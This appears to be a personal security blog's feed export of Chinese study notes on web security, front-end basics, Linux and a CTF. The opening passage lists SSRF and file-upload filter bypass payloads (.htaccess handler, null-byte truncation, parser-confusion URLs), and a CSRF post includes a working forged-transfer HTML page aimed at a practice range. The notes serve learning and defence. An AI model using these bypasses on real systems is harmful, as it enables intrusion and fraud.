    特殊ip形式http://[::]:80/=127.0.0.1 http://127.127.127.127 127.0.0.1.xip.io 127。0。0。1 = 127.0.0.1 http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com http://[0:0:0:0:0:ffff:127.0.0.1]利用 [::]、CIDR (ip划分方法)绕过localhost限制 利用封闭式字母数字绕过检测 利用ipv6绕过检测
    正则缺陷http://127.1.1.1:80****\@127.2.2.2:80/ http://127.1.1.1:80:@@127.2.2.2:80/ **http://127.1.1.1:80#****\@127.2.2.2:80/** http://endswith{domain}/ **http://{domain}.**localhost利用检测正则表达式缺陷绕过,如仅检测字符串是否包含白名单域名或以白名单域名结尾,或者正则未转义点号导致绕过等
    解析库与请求库差异导致绕过http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 : 1.1.1.1 requests + browsers : 2.2.2.2 urllib : 3.3.3.3利用检测时使用的URL parse库与请求时使用的parse库的差异绕过,如 http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ 不同的parse库的解析结果不一样
    302跳转绕过Create a page on a whitelisted host that redirects requests to the SSRF the target URL利用可信域名的302跳转绕过检测
    dnsrebind绕过Create a domain that change between two IPs设置两条A记录利用dns重绑定绕过检测,第一次解析返回正常ip,第二次返回内网地址(dns解析记录缓存存活的时间为0,相当于每次解析都要去重新请求dns服务器,无法在本地缓存)

    1.5 上传绕过

    f31e7508-93be-4fcf-a9aa-7f0316e5c1f8

    绕过方法例子原理
    js检查绕过前端通过抓包提交,绕过前端js检测 删除对js验证脚本的调用,使其不能对上传的文件类型做检测,从而达到绕过
    上传特殊可解析后缀jsp jspx jspf asp asa cer aspx php php3 php4 pht phtml绕过黑名单,同样可以执行脚本
    上传.htaccess<FilesMatch “bytedance”> SetHandler application/x-httpd-php htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 通过.htaccess文件,调用php的解析器解析一个文件名只要包含“bytedance”这个字符串的任意文件
    后缀大小写绕过1.php ==> 1.pHP由于windows不区分大小写,后端校验未使用strtolower等函数将文件后缀大小写统一处理,导致黑名单不完整而绕过
    空格绕过1.php ==> 1.php(空格)由于Windows处理文件时,会自动删除文件后缀带有的空格和点,从而导致绕过
    ::DATA绕过1.php::$DATA==>1.phpWindows的一种流文件格式,上传这种格式流文件格式的同时会在相同目录下生成一个含有相同内容宿主文件
    双写后缀绕过1.phphpp ==> 1.php后端过滤时,使用了preg_replace等替换函数将php关键字替换为空,但是却没有循环替换,导致前面的ph和后面的p重新组合成php,从而导致绕过
    MIME绕过GIF image/gif JPG image/pjpeg image/jpeg ZIP application/x-compressed application/octet-stream JSP text/html EXE application/octet-stream修改Content-Type中为允许的类型
    %00截断1.php%00a.jpg=1.phpPHP<5.3.29,且GPC关闭时,%00在URL中充当结束符,当解析到%00时,解析器就会认为字符串已经读取完毕(%00截断主要用在路径上的截断)
    0x00截断1.php.jpg==>1.php0x00jpg(0x00为16进制)PHP<5.3.29,且GPC关闭时,0x00截断其实也是16进制截断,需要修改16进制的数据头,0x00也是截断符号,0x00就是%00解码成的16进制,原理其实与%00截断一样
    文件头检查绕过GIF89a或在图片中插入一句话检查指定文件头时可绕过
    二次渲染绕过寻找图片渲染后没有变化的部分,插入一句话恶意脚本不被渲染掉
    条件竞争与后端代码写法有关。比如先上传文件后,再检查文件后缀是否合法,不合法就再删除。利用条件竞争删除文件时间差绕过。在文件上传到服务器,程序还未执行到删除文件代码之前,通过快速发送大量的数据包提前执行程序,达到绕过
    解析漏洞绕过参考解析漏洞表格参考解析漏洞表格

    1.6 其他方法

    1.HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。

    2.当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。

    ]]>
    + + + + + <blockquote> +<p>WAF : Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP&#x2F;HTTPS的安全策略来专门为 + + + + + + + + + +
    + + + 记录前端学习--JavaScript + + http://h4m5t.github.io/2021/02/09/%E5%89%8D%E7%AB%AFJS/ + 2021-02-09T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + + + + + + + + + + + + + + Shell学习记录 + + http://h4m5t.github.io/2021/02/08/Shell/ + 2021-02-08T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + shell:shell是外壳的意思,就是操作系统的外壳。我们可以通过shell命令来操作和控制操作系统,比如Linux中的Shell命令就包括ls、cd、pwd等等。总结来说,Shell是一个命令解释器,它通过接受用户输入的Shell命令来启动、暂停、停止程序的运行或对计算机进行控制。

    shell 是一个应用程序,它连接了用户和 Linux 内核,让用户能够更加高效、安全、低成本地使用 Linux 内核,这就是 Shell 的本质。

    shell 本身并不是内核的一部分,它只是站在内核的基础上编写的一个应用程序。

    “linux shell”的图片搜索结果

    shell脚本:shell脚本就是由Shell命令组成的执行文件,将一些命令整合到一个文件中,进行处理业务逻辑,脚本不用编译即可运行。

    进入 Linux 终端,编写一个 Shell 脚本 hello.sh :

    1
    2
    #!/bin/bash 
    echo 'hello world!'

    运行:

    1
    2
    3
    4
    5
    6
    # 方法1 
    sh hello.sh

    # 方法2
    chmod +x hello.sh
    ./hello.sh

    终端打印出 hello world!
    说明:

    • #! 告诉系统这个脚本需要什么解释器来执行。
    • 文件扩展名 .sh 不是强制要求的。
    • 方法1 直接运行解释器,hello.sh 作为 Shell 解释器的参数。此时 Shell 脚本就不需要指定解释器信息,第一行可以去掉。
    • 方法2 hello.sh 作为可执行程序运行,Shell 脚本第一行一定要指定解释器。

    输出从1加到100的值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #!/bin/bash
    SUM=0
    i=0

    while [ $i -le $1 ]
    do
    SUM=$[$SUM+$i]
    i=$[$i+1]
    done
    echo $SUM
    ]]>
    + + + + + <p><strong>shell</strong>:shell是外壳的意思,就是操作系统的外壳。我们可以通过shell命令来操作和控制操作系统,比如Linux中的Shell命令就包括ls、cd、pwd等等。总结来说,Shell是一个命令解释器,它通过接受用户输入的Shell命令来 + + + + + + + + + +
    + + + 春秋杯新年欢乐赛 + + http://h4m5t.github.io/2021/02/07/icqCTF/ + 2021-02-07T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

    寒假参加了i春秋的CTF ,总结一下。

    签到

    手机打出”FUN”,扫描即可。

    十二宫的挑衅

    test

    关于十二宫杀手:

    链接一

    链接二

    根据新闻内容,先对明文进行向下右移两位,形成新的矩阵,再用这款解密工具即可。

    据说要使用一款叫azdecrypt的工具https://m.majorgeeks.com/files/details/azdecrypt.html

    snowwwww

    1.使用kali自带的工具分离图片

    2.傅里叶变化解密图片水印

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    %% extract watermark
    FA2=fft2(FAO);
    G=(FA2-FA)/alpha;
    GG=G;
    for i=1:imsize(1)*0.5
    for j=1:imsize(2)
    GG(M(i),N(j),:)=G(i,j,:);
    end
    end
    for i=1:imsize(1)*0.5
    for j=1:imsize(2)
    GG(imsize(1)+1-i,imsize(2)+1-j,:)=GG(i,j,:);
    end
    end
    figure,imshow(GG);title('extracted watermark');
    %imwrite(uint8(GG),'extracted watermark.jpg');
    untitled

    3.对图片进行PS

    image-20210313231112239

    COV-2019

    此题比较复杂,要用到很多加密工具。注意的是,有个base32编码。

    ]]>
    + + + + + <blockquote> +<p>寒假参加了i春秋的CTF ,总结一下。</p> +</blockquote> +<h3 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h3><p>手机打出”FUN”,扫描即可。< + + + + + + + + + +
    + + + 记录前端学习--CSS + + http://h4m5t.github.io/2021/02/06/%E5%89%8D%E7%AB%AFCSS/ + 2021-02-06T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + + + + + + + + + + + + + + OWASP TOP10 + + http://h4m5t.github.io/2021/02/05/OWASP/ + 2021-02-05T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

    The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.

    1. 注入
    2. 失效的身份验证
    3. 敏感信息泄露
    4. XML外部实体(XXE)
    5. 失效的访问控制
    6. 安全配置错误
    7. 跨站脚本(XSS)
    8. 不安全的反序列化
    9. 使用含有已知漏洞的组件
    10. 不足的日志记录和监控

    1. Injection. Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
    2. Broken Authentication. Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities temporarily or permanently.
    3. Sensitive Data Exposure. Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
    4. XML External Entities (XXE). Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.
    5. Broken Access Control. Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.
    6. Security Misconfiguration. Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.
    7. Cross-Site Scripting (XSS). XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
    8. Insecure Deserialization. Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.
    9. Using Components with Known Vulnerabilities. Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.
    10. Insufficient Logging & Monitoring. Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.
    ]]>
    + + + + + <blockquote> +<p>The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consens + + + + + + + + + + + +
    + + + 浏览器的同源策略与跨站请求伪造(CSRF) + + http://h4m5t.github.io/2021/01/27/%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5/ + 2021-01-27T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 定义

    同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须同源。此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据。

    同源的判断如下:

    • 协议相同
    • 域名相同
    • 端口相同

    应用

    同源策略对Web应用程序具有特殊意义,因为Web应用程序广泛依赖于cookie来维持用户会话,所以必须将不相关网站严格分隔,以防止丢失数据泄露。

    同源比较

    下表列出哪些URL与http://www.example.com/dir/page.html 属于相同来源

    http://en.example.com/dir/other.html不同域名
    http://example.com/dir/other.html不同域名(需要完全匹配)
    **http://**username:password@www.example.com/dir2/other.html只有路径不同
    http://v2.www.example.com/dir/other.html不同域名(需要完全匹配)
    http://www.example.com:**81**/dir/other.html不同端口(若未标明,http:// 默认端口号为80)
    http://www.example.com/dir/page2.html只有路径不同
    http://www.example.com/dir2/other.html只有路径不同
    https://www.example.com/dir/other.html不同协议(httpshttp

    其他

    • 源的继承:在页面中通过 about:blankjavascript: URL 执行的脚本会继承打开该 URL 的文档的源,因为这些类型的 URLs 没有包含源服务器的相关信息。
    • 跨源访问:可以使用 CORS 来允许跨源访问。CORS 是 HTTP 的一部分,它允许服务端来指定哪些主机可以从这个服务端加载资源。
    • 源的更改:满足某些限制条件的情况下,页面是可以修改它的源。脚本可以将 document.domain 的值设置为其当前域或其当前域的父域。如果将其设置为其当前域的父域,则这个较短的父域将用于后续源检查。

    缺陷

    同源策略仅适用于脚本,这意味着某网站可以通过相应的HTML标签访问不同来源网站上的图像、CSS和动态加载脚本等资源。而跨站请求伪造(CSRF)就是利用同源策略不适用于HTML标签的缺陷。

    CSRF(跨站请求伪造)

    • 定义:挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
    • 与XSS的比较:XSS利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
    • 攻击方法:攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
    • 特点:攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户的浏览器,让其以用户的名义运行操作。

    攻击实践

    此处以必火靶场的CSRF-GET型攻击进行实践。

    靶场地址

    image-20210128110300151

    正常转账操作:http://www.nanhack.com/payload/xss/csrf1.php?name=admin&money=10

    恶意攻击者页面:http://www.nanhack.com/payload/xss/csrf1.php

    访问恶意攻击者页面产生CSRF请求: http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000

    image-20210128111355278

    打开恶意攻击页面,发现是一个图片,提示:你的账户 钱少了。

    返回查看,果然,账户少了1000元。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>你的账户钱少了吧</title>
    <!-- <script>alert('你的账户钱少了吧!!😳');</script> -->
    </head>
    <body>
    <img src="http://xss.tv/meinv/tila.jpg" width="30%">
    <img src="http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000">
    <!-- <a href="http://www.nanhack.com/user.php">返回用户管理</a> -->

    </body>
    </html>

    <img src>中的链接就是构造了一个“转账”链接。

    但是这种恶意链接构造的CSRF隐蔽性很低,很容易被发现。

    可以利用一些更加隐藏的方式:

    • CSS中background属性里的url链接
    • 利用a标签
    • 设置iframe的style为display:none

    防御措施

    • 令牌同步

      令牌同步模式(英语:Synchronizer token pattern,简称STP)。原理是:当用户发送请求时,服务器端应用将令牌(token,一个保密且唯一的值)嵌入HTML表格,并发送给客户端。客户端提交HTML表格时候,会将令牌发送到服务端,令牌的验证是由服务端实行的。令牌可以通过任何方式生成,只要确保随机性和唯一性。这样确保攻击者发送请求时候,由于没有该令牌而无法通过验证。

      局限性:会导致服务端的复杂度升高,复杂度源于令牌的生成和验证。因为令牌是唯一且随机,如果每个表格都使用一个唯一的令牌,那么当页面过多时,服务器由于生产令牌而导致的负担也会增加。而使用会话(session)等级的令牌代替的话,服务器的负担将没有那么重。

    • 检查Referer字段

      HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,这时候服务器就能识别出恶意的访问。

      局限性:因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。

    • 添加校验token

      由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。这种数据通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。当客户端通过窗体提交请求时,这个伪随机数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。

    参考文献

    1. IETF [rfc:6265 HTTP State Management Mechanism, Apr, 2011]
    2. Kemp, John. Security on the Web. 2011-02-04 [2018-07-24].
    3. Ristic, Ivan. Apache Security. O’Reilly Media. 2005: 280. ISBN 0-596-00724-8.
    4. 阮一峰的网络日志
    5. MDN Web Docs
    ]]>
    + + + + + <h3 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h3><p>同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须同源。此策略可防止某个网页上的恶意脚本通过该页面的 + + + + + + + + + + + +
    + + + web安全学习路线 + + http://h4m5t.github.io/2021/01/26/Web%E5%AE%89%E5%85%A8/ + 2021-01-26T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

    参加了字节跳动安全与风控训练营,根据官网安全综述文档摘录的安全学习路线

    字节跳动官方文档

    web安全

    1. 前端安全

      • XSS
      • 点击劫持
      • 浏览器、webview安全
    2. 接口安全

      • 接口请求
        • 错误的Method
        • 协议:
          • HTTP明文传输
          • 脆弱的加密方法
          • 低版本加密协议
          • //的滥用
          • 协议降级
        • 域名
          • 域名接管
          • 域传送
          • robote.txt
          • 社工钓鱼
        • 敏感端口暴露
        • 路径
          • 目录遍历
          • CRLF漏洞
          • 列目录
          • 敏感文件、目录访问
        • Header
          • CORS绕过
          • CSRF
          • Referer绕过
        • 参数
          • SQL注入
          • 命令执行
          • SSRF
          • 任意文件上传
          • 文件包含
          • XXE
          • 任意网址跳转
          • JSONP劫持
      • 接口鉴权
        • 未鉴权
        • 越权
      • 接口频控
        • 短袖邮件暴力发送
        • 关键接口
        • 发帖、评论
        • 反爬虫
      • 接口返回
        • Header设置缺失
        • 敏感信息返回
        • 返回系统架构、网站路径等基础信息
    3. 安全建设

      • 被动安全
        • WAF
        • IDS,IPS
        • 应急响应
        • 风控
        • 蜜罐
      • 主动安全
        • 安全基线
        • SDLC
        • DAST,IAST
        • SAST
    4. 学习路线

      • 自己搭建博客
        • 安全知识
        • Web知识
      • 安全能力提升
        • 知识学习
        • 靶场练习
        • 实战练习
      • 开发安全工具
      • 参与实习
    ]]>
    + + + + + <blockquote> +<p>参加了字节跳动安全与风控训练营,根据官网安全综述文档摘录的安全学习路线</p> +</blockquote> +<p><a href="https://bytedance.feishu.cn/docs/doccnud5U9ugGJCkZF66TPtmC + + + + + + + + + + + +
    + + + 攻防世界 + + http://h4m5t.github.io/2021/01/21/CTF/ + 2021-01-21T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + + + + + + + + + + + + 常用的linux命令 + + http://h4m5t.github.io/2021/01/21/linux/ + 2021-01-21T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 常用命令
    序号命令对应英文作用
    01lslist查看当前文件夹下的内容
    02pwdprint work directory查看当前所在文件夹
    03cd[目录名]changge directory切换文件夹
    04touch[文件名]touch如果文件不存在,新建文件
    05mkdir[目录名]make directory创建目录
    06rm[文件名]remove删除指定文件
    07clearclear清屏

    touch

    • 创建文件或修改文件时间
      如果文件 不存在,可以创建一个空白文件
      如果文件 已经存在,可以修改文件的末次修改日期

    mkdir

    • 创建一个新的目录
    选项含义
    -p可以递归创建目录

    新建目录的名称 不能与当前目录中 已有的目录或文件 同名

    rm

    • 删除文件或目录
      使用 rm 命令要小心,因为文件删除后不能恢复
    选项含义
    -f强制删除,忽略不存在的文件,无需提示
    -r递归地删除目录下的内容,删除文件夹 时必须加此参数

    拷贝和移动文件

    序号命令对应英文作用
    01tree [目录名]tree以树状图列出文件目录结构
    02cp 源文件目标文件copy复制文件或者目录
    03mv 源文件 目标文件move移动文件或者目录/文件或者目录重命名

    tree

    • tree 命令可以以树状图列出文件目录结构
    选项含义
    -d只显示目录

    cp

    • cp 命令的功能是将给出的 文件 或 目录 复制到另一个 文件 或 目录 中,相当DOS 下的 copy命令
    选 项含义
    -i覆盖文件前提示
    -r若给出的源文件是目录文件,则 cp 将递归复制该目录下的所有子目录和文件,目标文件必

    须为一个目录名

    mv

    • mv 命令可以用来 移动 文件 或 目录,也可以给 文件或目录重命名
    选项含义
    -i覆盖文件前提示

    查看文件内容

    序 号命令对应英文作用
    01cat 文件名concatenate查看文件内容、创建文件、文件合并、追加文件内容等功能
    02more 文件名more分屏显示文件内容
    03grep 搜索文本 文件名grep搜索文本文件内容

    cat

    cat 命令可以用来 查看文件内容、创建文件、文件合并、追加文件内容 等功能
    cat 会一次显示所有的内容,适合 查看内容较少 的文本文件

    选项含义
    -b对非空输出行编号
    -n对输出的所有行编号
    ]]>
    + + + + + <h3 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h3><table> +<thead> +<tr> +<th>序号</th> +<th>命令</th> +<th>对应英文</th> +<th>作用 + + + + + + + + + +
    + + + 记录前端学习--HTML + + http://h4m5t.github.io/2021/01/20/%E5%89%8D%E7%AB%AFhtml/ + 2021-01-20T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 学习路线

    先学习基础部分,即web三件套

    • HTML负责结构,网页想要表达的内容由html书写。
    • CSS负责样式,网页的美与丑由它来控制。
    • JS负责交互,用户和网页产生的互动由它来控制。

    然后学习框架,即“大前端开发”

    • vue
    • React
    • angular

    另外学习其他知识

    • 浏览器
    • 网络
    • webpack

    HTML

    超文本标记语言(HyperText Markup Language,简称:HTML)是一种用于创建网页的标准标记语言。HTML是一种基础技术,常与CSS、JavaScript一起被众多网站用于设计网页、网页应用程序以及移动应用程序的用户界面。网页浏览器可以读取HTML文件,并将其渲染成可视化网页。HTML描述了一个网站的结构语义随着线索的呈现,使之成为一种标记语言而非编程语言。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <!--
    * @Author: h4m5t
    * @Date: 2021-01-21 10:11:09
    * @LastEditTime: 2021-01-21 20:23:30
    -->
    <!DOCTYPE html>
    <html>
    <head>
    <title>第一个程序</title>
    <!--编码以及屏幕自适应-->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <meta name="keywords" content="测试">
    <!--网页自动跳转-->
    <!--<meta http-equiv="refresh" content="3;https://dydhzj.xyz">-->
    </head>
    <body>
    <img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" alt="tupian">
    <!-- 表示在新的标签页 打开页面-->
    <a href="https://dydhzj.xyz" target="_blank">这是我的博客链接</a>
    </body>
    </html>

    语义与呈现分离

    是一句常见的熟语、一种设计哲学,同时也是在多种出版技术纪律中应用的一种方法学,涉及到信息检索、模板处理、网页设计、网页程序设计、文字处理、桌面出版、模型驱动开发等出版领域。其为关注点分离这个更加宽泛的哲学的特例。一篇文档的实际内容和意义,与这篇文档呈现给读者的方式,是相互独立的。

    • HTML 负责内容结构和含义,内容呈现交给 CSS

    HTML语义化的优点

    1. 便于浏览器解析器解析
    2. 便于搜索引擎解析
    3. 在没有css的情况下,也以一种文档格式显式,并且是容易阅读的
    4. 结构良好,更容易将网站分块;便于阅读,开发和后期维护

    1. 文档与元数据元素

    元素说明类型
    base相对 URL 基础元数据
    bodyHTML 文档内容
    DOCTYPEHTML 开始
    headHTML 文档元数据
    htmlHTML 文档 html 部分
    link外部链接的关系元数据
    meta文档信息元数据
    noscript禁用脚本元数据、短语
    script脚本元数据、短语
    styleCSS 样式元数据
    title文档标题元数据

    2. 文本元素

    元素说明类型
    a超链接短语、流
    abbr缩略语短语
    b非强调标记文字短语
    br换行短语
    cite其他作品标题短语
    code代码片段短语
    del文字删除线短语、流
    dfn术语定义短语
    em强调标记短语
    i与周边不同的文字短语
    ins加入文档的文字短语、流
    kbd用户输入的内容短语
    mark标记短语
    q引用他处的内容短语
    rpruby 标记括号短语
    rtruby 标记注音符号短语
    ruby位于表意文字上方或者右方的注音符号短语
    s表示内容不再准确短语
    samp计算机输出的内容短语
    small小号字体短语
    span同样元素短语
    strong重要内容短语
    sub下标短语
    sup上标短语
    time时间短语
    u非强调标记文字短语
    var计算机中的变量短语
    wbr安全换行的地方短语

    3. 内容

    元素说明类型
    blockquote引用的大段内容
    dddl 元素中,表示定义
    div通用元素,与 span 对应
    dl术语定义的说明列表
    dtdl 元素中,表示术语
    figcaptionfigure 元素的标题
    figure图片
    hr段落级别的主题转换
    liul、ol、menu 元素中,表示列表项
    ol有序列表
    p段落
    pre格式应被保留的内容
    ul无序列表

    4. 划分内容

    元素说明类型
    address文档或者 article 的联系信息
    article作品信息
    aside周边牵涉内容
    details区域,展开获取细节
    footer尾部
    h1-h6标题
    header首部
    hgroup一组标题组织,形成目录
    nav导航元素
    section部分流
    summarydetails 元素中,表示该元素标题

    5. 制表

    元素说明类型
    caption表格标题
    col
    colgroup一组列
    table表格
    tbody表格主体
    td单元格
    tfoot表脚
    th表头表脚单元格
    thead表头
    tr一行单元格

    6. 表单

    元素说明类型
    button按钮短语
    datalist建议列表
    fieldset一组表单元素
    form表单
    input输入短语
    keygen生成公私钥短语
    label表单说明标签短语
    legendfieldset 元素说明标签
    optgroup一组相关的 option 元素
    option用户选择的可选项
    output计算结果短语
    select用户选择固定项短语
    textarea多行输入短语

    7. 嵌入内容

    元素说明类型
    area客户端分区响应区域短语
    audio音频
    canvas画布短语、流
    embed用插件嵌入内容短语
    iframe嵌入另一个文档短语
    img图片短语
    map客户端分区响应短语、流
    meter许可值范围背景中的图形表示短语
    object生成上下文与客户端分区响应图短语、流
    param通过 obj 元素传给插件的参数
    progress进度短语
    source媒体资源
    svg结构化矢量内容
    track媒体附加轨道(如字幕)
    video视频
    ]]>
    + + + + + <h3 id="学习路线"><a href="#学习路线" class="headerlink" title="学习路线"></a>学习路线</h3><p>先学习基础部分,即web三件套</p> +<ul> +<li>HTML负责结构,网页想要表达的内容由html书写。</li> +< + + + + + + + + + + + +
    + + + 信息安全 + + http://h4m5t.github.io/2020/12/21/security/ + 2020-12-21T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

    最近复习信息系统安全,以及备考NISP,做一些简单的知识点总结。

    第一章

    定义:信息安全一般指信息系统(包括硬件、软件、数据、人、物理环境及其基础设施)受到保护,不受偶然的或者恶意原因的影响而遭到破坏、更改、泄露,系统连续可靠正常地运行,信息服务不中断,最终实现业务连续性。信息安全的根本目的是使信息不受内部、外部、自然等因素的威胁

    计算机系统安全:为数据处理系统建立和采用的技术和 管理的安全保护,保护计算机硬件、软件和数 据不因偶然和恶意的原因遭到破坏、更改和泄露。

    基本属性:机密性、完整性、可用性

    扩展属性:真实性、不可否认性、可控性

    信息安全保障:采用技术、管理、工程等综合手段,保护信息和信息系统,使其能够安全运行的防护性行为。

    APT攻击:即高级可持续威胁攻击,也称为定向威胁攻击,指某组织对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。

    image-20201222211631762

    第二章

    PKI公钥基础设施是一个包括硬件、软件、人员、策略和规程的集合,用来实现基于公钥密码体制的密钥和证书的产生、管理、存储、分发和撤销等功能。PKI体系是计算机软硬件、权威机构及应用系统的结合。它为实施电子商务、电子政务、办公自动化等提供了基本的安全服务,从而使那些彼此不认识或距离很远的用户能通过信任链安全地交流。

    访问控制主要包括主体、客体和控制策略三个要素:

    1.主体是指提出访问资源具体请求的实体

    2.客体是指被访问资源的实体

    3.控制策略是指主体对客体的相关访问规则的集合

    image-20201224184633144

    数字证书:

    由第三方可信机构(一般是证书服务器)颁发的数字证书,可以证明身份的可信度。

    第三章

    网络嗅探是通过截获、分析网络中传输的数据而获取有用信息的行为。

    网络钓鱼是指攻击者利用伪造的网站或欺骗性的电子邮件进行的网络诈骗活动。

    VPN:在公用网络上建立专用网络,进行加密通讯。

    防火墙:计算机网络中所说的防火墙,是指设置在不同网络(如:可信任的内网和外网或专用网与不可信的共用网)之间的一系列包括软硬件;在内的部件组合。它在内网和外网之间构建一道保护屏障,网络内部和外部之间的所有数据流必须经过防火墙,只有符合安全标准的数据流才能通过防火墙。

    恶意代码是指故意编制或设置的、对网络或系统会产生威胁和潜在威胁的计算机代码。主要包括病毒、木马和蠕虫等。

    端口扫描:对计算机端口发送信息,然后根据返回端口状态来分析目标计算机的端口是否打开或者可用,为下一步攻击入侵做好准备。

    邮件通信:

    image-20201226152838072

    B/S和C/S架构:

    B/S结构即浏览器和服务器结构。它是随着Internet技术的兴起,对C/S结构的一种变化或者改进的结构。在这种结构下,用户工作界面是通过WWW浏览器来实现,极少部分事务逻辑在前端(Browser)实现,但是主要事务逻辑在服务器端(Server)实现,形成所谓三层3-tier结构。

    C/S 结构,即大家熟知的客户机和服务器结构。它是软件系统体系结构,通过它可以充分利用两端硬件环境的优势,将任务合理分配到Client端和Server端来实现,降低了系统的通讯开销。

